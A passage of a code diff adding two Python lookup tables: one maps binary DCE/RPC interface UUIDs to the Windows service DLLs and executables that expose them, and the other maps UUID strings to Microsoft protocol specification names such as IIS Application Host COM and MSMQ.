"lsasrv.dll", +"\xc0\xc4\x55\xae\xce\x64\xdd\x11\xad\x8b\x08\x00\x20\x0c\x9a\x66\x01\x00": "bdesvc.dll", +"\xc4\x0c\x3c\xe3\x82\x04\x1a\x10\xbc\x0c\x02\x60\x8c\x6b\xa2\x18\x01\x00": "locator.exe", +"\x0e\x3b\x6c\x50\xd1\x4b\x56\x4c\x88\xc0\x49\xa2\x0e\xd4\xb5\x39\x01\x00": "milcore.dll", +"\x3e\x8e\xb0\x2e\x9f\x63\xba\x4f\x97\xb1\x14\xf8\x78\x96\x10\x76\x01\x00": "gpsvc.dll", +"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x02\x00": "sens.dll", +"\xb5\x6d\xac\xc9\xb7\x82\x55\x4e\xae\x8a\xe4\x64\xed\x7b\x42\x77\x01\x00": "sysntfy.dll", +"\x98\x46\xbc\xa0\xd7\xb8\x30\x43\xa2\x8f\x77\x09\xe1\x8b\x61\x08\x04\x00": "Sens.dll", +"\x1e\xc9\x31\x3f\x45\x25\x7b\x4b\x93\x11\x95\x29\xe8\xbf\xfe\xf6\x01\x00": "p2psvc.dll", +"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x00": "audiosrv.dll", +"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x02": "audiosrv.dll", +"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\xe6\xfc\x01\x00": "msgsvc.dll", +"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x74\x53\x2d\x01\x00": "dhcpssvc.dll", +"\xb8\xd0\x48\xe2\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", +"\x78\xad\xbc\x1c\x0b\xdf\x34\x49\xb5\x58\x87\x83\x9e\xa5\x01\xc9\x00\x00": "lsasrv.dll", +"\x87\x76\xcb\xc8\xd3\xe6\xd2\x11\xa9\x58\x00\xc0\x4f\x68\x2e\x16\x01\x00": "WebClnt.dll", +"\x88\xd4\x81\xc6\x50\xd8\xd0\x11\x8c\x52\x00\xc0\x4f\xd9\x0f\x7e\x01\x00": "lsasrv.dll", +"\x80\x35\x5b\x5b\xe0\xb0\xd1\x11\xb9\x2d\x00\x60\x08\x1e\x87\xf0\x01\x00": "mqqm.dll", +"\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00\x00": "mprdim.dll", +"\xd8\x5d\xe6\x12\x7f\x88\xef\x41\x91\xbf\x8d\x81\x6c\x42\xc2\xe7\x01\x00": "winlogon.exe", +"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\x36\xfc\x01\x00": "msgsvc.dll", +"\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03\x01\x00": "regsvc.dll", +"\x03\xd7\xfd\x17\x27\x18\x34\x4e\x79\xd4\x24\xa5\x5c\x53\xbb\x37\x01\x00": "msgsvc.dll", +"\x1c\x95\x57\x33\xd1\xa1\xdb\x47\xa2\x78\xab\x94\x5d\x06\x3d\x03\x01\x00": "LBService.dll", +"\xab\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", +"\xc4\xfc\x7b\x82\xb4\x38\xcd\x4a\x92\xe4\x21\xe1\x50\x6b\x85\xfb\x01\x00": "SLsvc.exe", +"\x00\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00": "mprdim.dll", +"\x4b\xa0\x12\x72\x63\xb4\x2e\x40\x96\x49\x2b\xa4\x77\x39\x46\x76\x01\x00": "umrdp.dll", +"\x20\x65\x5f\x2f\x46\xca\x67\x10\xb3\x19\x00\xdd\x01\x06\x62\xda\x01\x00": "tapisrv.dll", +"\xa0\x9e\xc0\x69\x09\x4a\x1b\x10\xae\x4b\x08\x00\x2b\x34\x9a\x02\x00\x00": "ole32.dll", +"\xd0\x3f\x14\x88\x8d\xc2\x2b\x4b\x8f\xef\x8d\x88\x2f\x6a\x93\x90\x01\x00": "lsm.exe", +"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00": "rpcss.dll", +"\x6c\xfc\x79\xde\x6f\xdc\xc7\x43\xa4\x8e\x63\xbb\xc8\xd4\x00\x9d\x01\x00": "rdpclip.exe", +"\x41\x82\xb5\x68\x59\xc2\x03\x4f\xa2\xe5\xa2\x65\x1d\xcb\xc9\x30\x01\x00": "cryptsvc.dll", +"\x80\xa9\x88\x10\xe5\xea\xd0\x11\x8d\x9b\x00\xa0\x24\x53\xc3\x37\x01\x00": "mqqm.dll", +"\xcf\x0b\xa7\x7e\xaf\x48\x6a\x4f\x89\x68\x6a\x44\x07\x54\xd5\xfa\x01\x00": "nsisvc.dll", +"\xe0\xca\x02\xec\xe0\xb9\xd2\x11\xbe\x62\x00\x20\xaf\xed\xdf\x63\x01\x00": "mq1repl.dll", +"\xb3\x8b\x0b\x59\xf6\x4e\xa4\x4c\x83\xcf\xbe\x06\xc4\x07\x86\x74\x01\x00": "PSIService.exe", +"\xce\x9f\x75\x89\x25\x5a\x86\x40\x89\x67\xde\x12\xf3\x9a\x60\xb5\x01\x00": "tssdjet.dll", +"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x00": "wlansvc.dll", +"\xc5\x41\x19\xdf\x89\xfe\x79\x4e\xbf\x10\x46\x36\x57\xac\xf4\x4d\x01\x00": "efssvc.dll", +"\xc1\xcd\x1a\x8f\x4d\x75\xeb\x43\x96\x29\xaa\x16\x20\x92\x8e\x65\x00\x00": "IMEPADSM.DLL", +"\xdf\x76\x49\x65\x98\x14\x56\x40\xa1\x5e\xcb\x4e\x87\x58\x4b\xd8\x01\x00": "emdmgmt.dll", +"\xe0\x42\xc7\x4f\x10\x4a\xcf\x11\x82\x73\x00\xaa\x00\x4a\xe6\x73\x03\x00": "dfssvc.exe", +"\xfa\xdb\x6e\x0b\x24\x4a\xc6\x4f\x8a\x23\x94\x2b\x1e\xca\x65\xd1\x01\x00": "spoolsv.exe", +"\xc8\xb7\xd4\x12\xd5\x77\xd1\x11\x8c\x24\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", +"\x44\xaf\x7d\x8c\xdc\xb6\xd1\x11\x9a\x4c\x00\x20\xaf\x6e\x7c\x57\x01\x00": "appmgmts.dll", +"\xae\x99\x86\x9b\x44\x0e\xb1\x47\x8e\x7f\x86\xa4\x61\xd7\xec\xdc\x00\x00": "rpcss.dll", +"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x01": "rpcss.dll", +"\xa2\x9c\x14\x93\x3b\x97\xd1\x11\x8c\x39\x00\xc0\x4f\xb9\x84\xf9\x00\x00": "scecli.dll", +"\x7d\x25\x13\xfc\x67\x55\xea\x4d\x89\x8d\xc6\xf9\xc4\x84\x15\xa0\x01\x00": "mqqm.dll", +"\x82\x26\xb9\x2f\x99\x65\xdc\x42\xae\x13\xbd\x2c\xa8\x9b\xd1\x1c\x01\x00": "MPSSVC.dll", +"\x76\x22\x3a\x33\x00\x00\x00\x00\x0d\x00\x00\x80\x9c\x00\x00\x00\x03\x00": "rpcrt4.dll", +"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc4\x01\x00": "locator.exe", +"\xdd\x34\x91\x1a\x39\x7b\xba\x45\xad\x88\x44\xd0\x1c\xa4\x7f\x28\x01\x00": "mqqm.dll", +"\xfe\x95\x31\x9b\x03\xd6\xd1\x43\xa0\xd5\x90\x72\xd7\xcd\xe1\x22\x01\x00": "tssdjet.dll", +"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x98\x01\x00": "iphlpsvc.dll", +"\x5f\x2e\x7e\x89\xf3\x93\x76\x43\x9c\x9c\xfd\x22\x77\x49\x5c\x27\x01\x00": "dfsrmig.exe", +"\x90\x2c\xfe\x98\x42\xa5\xd0\x11\xa4\xef\x00\xa0\xc9\x06\x29\x10\x01\x00": "advapi32.dll", +"\x0c\xc5\xad\x30\xbc\x5c\xce\x46\x9a\x0e\x91\x91\x47\x89\xe2\x3c\x01\x00": "nrpsrv.dll", +"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x02": "rpcss.dll", +"\xe6\x53\x3a\x9f\xb1\xcb\x54\x4e\x87\x8e\xaf\x9f\x82\x3a\xa3\xf1\x01\x00": "MpRtMon.dll", +"\xa8\xe5\xfc\x1d\x8a\xdd\x33\x4e\xaa\xce\xf6\x03\x92\x2f\xd9\xe7\x00\x01": "wpcsvc.dll", +"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", +"\x46\xd7\xd0\xe3\xaf\xd2\xfd\x40\x8a\x7a\x0d\x70\x78\xbb\x70\x92\x01\x00": "qmgr.dll", +"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x01": "SCardSvr.dll", +"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x00": "SCardSvr.dll", +"\x69\x45\x81\x7d\xb3\x35\x50\x48\xbb\x32\x83\x03\x5f\xce\xbf\x6e\x01\x00": "ias.dll", +"\x41\xea\x25\x48\xe3\x51\x2a\x4c\x84\x06\x8f\x2d\x26\x98\x39\x5f\x01\x00": "userenv.dll", +"\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00": "rpcss.dll", +"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd5\x01\x00": "dhcpcsvc.dll", +"\xe0\x8e\x20\x41\x70\xe9\xd1\x11\x9b\x9e\x00\xe0\x2c\x06\x4c\x39\x01\x00": "mqqm.dll", +"\xbf\x7b\x40\xcb\x4f\xc1\xd9\x4c\x8f\x55\xcb\xb0\x81\x46\x59\x8c\x00\x00": "IMJPDCT.EXE", +"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb\x01\x00": "netlogon.dll", +"\x30\x4c\xda\x83\x3a\xea\xcf\x11\x9c\xc1\x08\x00\x36\x01\xe5\x06\x01\x00": "nfsclnt.exe", +"\x1f\xa7\x37\x21\x5e\xbb\x29\x4e\x8e\x7e\x2e\x46\xa6\x68\x1d\xbf\x09\x00": "wspsrv.exe - Microsoft ISA Server", +"\x1e\x67\xe9\xc0\xc6\x33\x38\x44\x94\x64\x56\xb2\xe1\xb1\xc7\xb4\x01\x00": "wbiosrvc.dll", +"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00": "rpcrt4.dll", +"\x8b\x3c\xf1\x6a\x44\x08\x83\x4c\x90\x64\x18\x92\xba\x82\x55\x27\x01\x00": "tssdis.exe", +"\x55\x51\xd8\xec\x3a\xcc\x10\x4f\xaa\xd5\x9a\x9a\x2b\xf2\xef\x0c\x01\x00": "termsrv.dll", +"\xe8\x98\x8b\xbb\xdd\x84\xe7\x45\x9f\x34\xc3\xfb\x61\x55\xee\xed\x01\x00": "vaultsvc.dll", +"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x00": "ntfrs.exe", +"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x01": "wlansvc.dll", +"\x7f\x0b\xfe\x64\xf5\x9e\x53\x45\xa7\xdb\x9a\x19\x75\x77\x75\x54\x01\x00": "rpcss.dll", +"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x02\x00": "ismserv.exe", +"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xae\x01\x00": "winlogon.exe", +"\x23\x05\x7a\xfd\x70\xdc\xdd\x43\x9b\x2e\x9c\x5e\xd4\x82\x25\xb1\x01\x00": "appinfo.dll", +"\x40\xfd\x2c\x34\x6c\x3c\xce\x11\xa8\x93\x08\x00\x2b\x2e\x9c\x6d\x00\x00": "llssrv.exe", +"\x84\xd8\xb6\x8f\x88\x23\xd0\x11\x8c\x35\x00\xc0\x4f\xda\x27\x95\x04\x01": "w32time.dll", +"\x9b\x06\x33\xae\xa8\xa2\xee\x46\xa2\x35\xdd\xfd\x33\x9b\xe2\x81\x01\x00": "spoolsv.exe", +"\x26\xb5\x55\x1d\x37\xc1\xc5\x46\xab\x79\x63\x8f\x2a\x68\xe8\x69\x01\x00": "rpcss.dll", +"\xa0\xaa\x17\x6e\x47\x1a\xd1\x11\x98\xbd\x00\x00\xf8\x75\x29\x2e\x02\x00": "clussvc.exe", +"\xdf\x5f\xe9\xbd\xe0\xee\xde\x45\x9e\x12\xe5\xa6\x1c\xd0\xd4\xfe\x01\x00": "termsrv.dll", +"\xac\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", +"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x01\x00": "spoolsv.exe", +"\x06\x50\x7b\x8a\x13\xcc\xdb\x11\x97\x05\x00\x50\x56\xc0\x00\x08\x01\x00": "appidsvc.dll", +"\x20\x60\xae\x91\x3c\x9e\xcf\x11\x8d\x7c\x00\xaa\x00\xc0\x91\xbe\x00\x00": "certsrv.exe", +"\x16\xbb\x74\x81\x1b\x57\x38\x4c\x83\x86\x11\x02\xb4\x49\x04\x4a\x01\x00": "p2psvc.dll", +"\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf\x01\x00": "rasmans.dll", +"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", +"\x1c\xef\x74\x0a\xa4\x41\x06\x4e\x83\xae\xdc\x74\xfb\x1c\xdd\x53\x01\x00": "schedsvc.dll", +"\x25\x04\x49\xdd\x25\x53\x65\x45\xb7\x74\x7e\x27\xd6\xc0\x9c\x24\x01\x00": "BFE.DLL", +"\x7c\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x15\x00": "ntdsa.dll", +"\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", +"\x49\x59\xd3\x86\xc9\x83\x44\x40\xb4\x24\xdb\x36\x32\x31\xfd\x0c\x01\x00": "schedsvc.dll", +"\x35\x08\x22\x11\x26\x5b\x94\x4d\xae\x86\xc3\xe4\x75\xa8\x09\xde\x01\x00": "lsasrv.dll", +"\xa8\x66\x00\xc8\x79\x75\xfc\x44\xb9\xb2\x84\x66\x93\x07\x91\xb0\x01\x00": "umrdp.dll", +"\xab\x59\xec\xf1\xa9\x4c\x30\x4c\xb2\xd0\x54\xef\x1d\xb4\x41\xb7\x01\x00": "iertutil.dll", +"\xba\xaa\x67\x52\x49\x4f\x53\x46\x8e\x26\xd1\xe1\x1f\x3f\x2a\xd9\x01\x00": "termsrv.dll", +"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x00": "rpcss.dll", +"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x02": "rpcss.dll", +"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x02": "audiosrv.dll", +"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x01": "audiosrv.dll", +"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x02": "netdde.exe", +"\xbf\x11\x9d\x7f\xb9\x7f\x6b\x43\xa8\x12\xb2\xd5\x0c\x5d\x4c\x03\x01\x00": "MPSSVC.dll", +"\xbf\x52\x5a\xb2\xdd\xe5\x4a\x4f\xae\xa6\x8c\xa7\x27\x2a\x0e\x86\x01\x00": "keyiso.dll", +"\x04\x22\x11\x4b\x19\x0e\xd3\x11\xb4\x2b\x00\x00\xf8\x1f\xeb\x9f\x01\x00": "ssdpsrv.dll", +"\x97\xb2\xee\x04\xf4\xcb\x6b\x46\x8a\x2a\xbf\xd6\xa2\xf1\x0b\xba\x01\x00": "efssvc.dll", +"\x40\xb2\x9b\x20\x19\xb9\xd1\x11\xbb\xb6\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irmon.dll", +"\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09\x01\x00": "spoolsv.exe", +"\x4a\xa5\xbb\x06\x05\xbe\xf9\x49\xb0\xa0\x30\xf7\x90\x26\x10\x23\x01\x00": "wscsvc.dll", +"\xa6\xb2\xdd\x1b\xc3\xc0\xbe\x41\x87\x03\xdd\xbd\xf4\xf0\xe8\x0a\x01\x00": "dot3svc.dll", +"\x82\x15\x41\xaa\xdf\x9b\xfb\x48\xb4\x2b\xfa\xa1\xee\xe3\x39\x49\x01\x00": "nlasvc.dll", +"\xfa\x9d\xd7\xd2\x00\x34\xd0\x11\xb4\x0b\x00\xaa\x00\x5f\xf5\x86\x01\x00": "dmadmin.exe", +"\x12\xfc\x99\x60\xff\x3e\xd0\x11\xab\xd0\x00\xc0\x4f\xd9\x1a\x4e\x03\x00": "FXSAPI.dll", +"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x00": "rpcss.dll", +"\xd5\x33\x9a\x2c\xdb\xf1\x2d\x47\x84\x64\x42\xb8\xb0\xc7\x6c\x38\x01\x00": "tbssvc.dll", +"\x30\x7c\xde\x3d\x5d\x16\xd1\x11\xab\x8f\x00\x80\x5f\x14\xdb\x40\x01\x00": "services.exe", +"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x01": "ntfrs.exe", +"\x94\x8c\x95\x95\x24\xa4\x55\x40\xb6\x2b\xb7\xf4\xd5\xc4\x77\x70\x01\x00": "winlogon.exe", +"\xe3\x31\x67\x32\xc0\xc1\x69\x4a\xae\x20\x7d\x90\x44\xa4\xea\x5c\x01\x00": "profsvc.dll", +"\x18\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x38\x00": "ntdsai.dll", +"\x0f\x6a\xe9\x4b\x52\x9f\x29\x47\xa5\x1d\xc7\x06\x10\xf1\x18\xb0\x01\x00": "wbiosrvc.dll", +"\x80\x42\xad\x82\x6b\x03\xcf\x11\x97\x2c\x00\xaa\x00\x68\x87\xb0\x02\x00": "infocomm.dll", +"\x87\x04\x26\x1f\x29\xba\x13\x4f\x92\x8a\xbb\xd2\x97\x61\xb0\x83\x01\x00": "termsrv.dll", +"\x70\x07\xf7\x18\x64\x8e\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x00\x00": "ole32.dll", +"\xc0\xeb\x4f\xfa\x91\x45\xce\x11\x95\xe5\x00\xaa\x00\x51\xe5\x10\x04\x00": "autmgr32.exe", +"\x10\xca\x8c\x70\x69\x95\xd1\x11\xb2\xa5\x00\x60\x97\x7d\x81\x18\x01\x00": "mqdssrv.dll", +"\x28\x2c\xf5\x45\x9f\x7f\x1a\x10\xb5\x2b\x08\x00\x2b\x2e\xfa\xbe\x01\x00": "WINS.EXE", +"\x31\xa3\x59\x2f\x7d\xbf\xcb\x48\x9e\x5c\x7c\x09\x0d\x76\xe8\xb8\x01\x00": "termsrv.dll", +"\x61\x26\x45\x4a\x90\x82\x36\x4b\x8f\xbe\x7f\x40\x93\xa9\x49\x78\x01\x00": "spoolsv.exe", +} + +KNOWN_PROTOCOLS = { +'52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:', +'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):', 